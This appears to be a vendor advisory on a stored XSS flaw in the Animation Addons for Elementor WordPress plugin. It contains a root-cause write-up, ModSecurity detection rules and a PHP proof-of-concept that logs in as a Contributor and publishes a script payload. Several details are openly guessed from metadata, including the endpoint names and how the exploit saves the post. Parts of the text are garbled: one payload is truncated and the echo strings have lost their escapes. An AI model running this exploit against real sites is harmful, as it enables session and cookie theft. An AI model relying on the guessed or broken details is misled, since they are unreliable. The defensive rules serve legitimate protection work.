Atomic Edge analysis of CVE-2025-8444 (metadata-based):
This vulnerability is a DOM-Based Stored Cross-Site Scripting (XSS) in the Animation Addons for Elementor plugin, affecting versions 2.6.7 and earlier. The issue lies in multiple parameters used by the plugin’s JavaScript-based animation features. An attacker with Contributor-level access can inject malicious scripts that execute in the browser of anyone viewing the affected page.
Root Cause: The CWE-79 classification points to improper neutralization of user-supplied input during page generation. The DOM-Based Stored XSS nature indicates the vulnerability exists within client-side JavaScript code that processes plugin parameters (likely stored as post metadata or widget settings) without proper sanitization. Based on the description, the plugin fails to sanitize input when saving Elementor widget data and fails to escape output when rendering those values in JavaScript context. Atomic Edge research infers that vulnerable parameters are those controlling GSAP animation properties (e.g., scroll triggers, parallax values, animation duration/delay) that get embedded into inline JavaScript or data attributes. This is a confirmed vulnerability from CVE metadata and public security advisories.
Exploitation: An attacker with Contributor-level WordPress access can create or edit a post/page using Elementor and insert the vulnerable Animation Addons widget. The attacker sets one or more widget parameters (e.g., custom CSS selectors, animation target IDs, callback functions) to a payload like “>
or a JavaScript URI. The plugin stores these parameters in the post’s metadata without sanitization. When a victim views the page, the plugin’s JavaScript reads the stored parameters and injects them into the DOM (e.g., via innerHTML), triggering the XSS payload. The specific AJAX actions or REST endpoints are likely related to saving Elementor templates or widget data via wp_ajax_elementor_ajax or plugin-specific handlers like animation_addons_for_elementor_save_settings.
Remediation: The plugin must implement proper input sanitization and output escaping for all parameters that get rendered into JavaScript context. Specifically, the plugin should use WordPress functions like sanitize_text_field() or esc_js() when processing user inputs, and ensure that any data rendered into inline JavaScript or HTML attributes is properly escaped using wp_kses(), esc_attr(), or wp_json_encode(). The client-side JavaScript should use textContent or setAttribute instead of innerHTML when inserting user-controlled values. Since no patched version is available, site administrators should disable the plugin or restrict Contributor-level access until a fix is released.
Impact: Successful exploitation allows authenticated attackers (Contributor+) to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, cookie theft, phishing redirections, or defacement. The CVSS score of 6.4 reflects the low privilege required (Contributor), low complexity, and the ability to impact confidentiality and integrity through script execution across a session scope.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-8444 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20258444,phase:2,deny,status:403,chain,msg:'CVE-2025-8444 - Stored XSS via Animation Addons for Elementor AJAX',severity:'CRITICAL',tag:'CVE-2025-8444'"
SecRule ARGS_POST:action "@streq elementor_ajax"
"chain"
SecRule ARGS_POST:data "@rx <[^>]*script|javascript:|onload=|onerror="
"t:urlDecode,t:lowercase"
SecRule REQUEST_URI "@rx /wp-json/elementor/v[0-9]+/document/[0-9]+"
"id:20258445,phase:2,deny,status:403,chain,msg:'CVE-2025-8444 - Stored XSS via Elementor REST API',severity:'CRITICAL',tag:'CVE-2025-8444'"
SecRule REQUEST_METHOD "@streq POST"
"chain"
SecRule ARGS_POST:meta._elementor_data "@rx animation_target.{0,100}<[^>]*script|custom_css_selector.{0,100}<script"
"t:urlDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-8444 - Animation Addons for Elementor - GSAP Powered Elementor Addons & Website Templates <= 2.6.7 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via Multiple Parameters
// Assumptions:
// - The plugin stores animation parameters via Elementor's AJAX save endpoint (wp_ajax_elementor_ajax).
// - Vulnerable parameters include 'animation_target', 'custom_css_selector', or similar fields in the widget data.
// - The attacker has an active session with Contributor+ role.
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'attacker';
$password = 'attacker_password';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
// Step 2: Create a new post with the vulnerable widget
// The payload will be injected into a parameter like 'animation_target' or 'custom_css_selector'
$payload = '"}}]<script>alert("XSS");</script>'; // DOM-based XSS payload
$post_data = [
'title' => 'XSS Test Post',
'content' => '',
'status' => 'publish',
'meta_input' => [
'_elementor_data' => json_encode([
[
'id' => 'widget_animation_1',
'elType' => 'widget',
'widgetType' => 'animation-addons',
'settings' => [
'animation_target' => $payload,
'animation_type' => 'fadeIn'
]
]
]),
'_elementor_version' => '3.0.0'
]
];
$post_create_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_create_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
// Check if the post was created (simplified: look for 'post-new.php?post=' in redirect)
if (preg_match('/post=([0-9]+)/', $response, $matches)) {
$post_id = $matches[1];
echo "[+] Post created with ID: $post_idn";
echo "[+] Payload: $payloadn";
echo "[+] Visit: " . $target_url . '/?p=' . $post_id . " to trigger XSSn";
} else {
echo "[-] Failed to create post. Check login credentials or plugin activation.n";
}
curl_close($ch);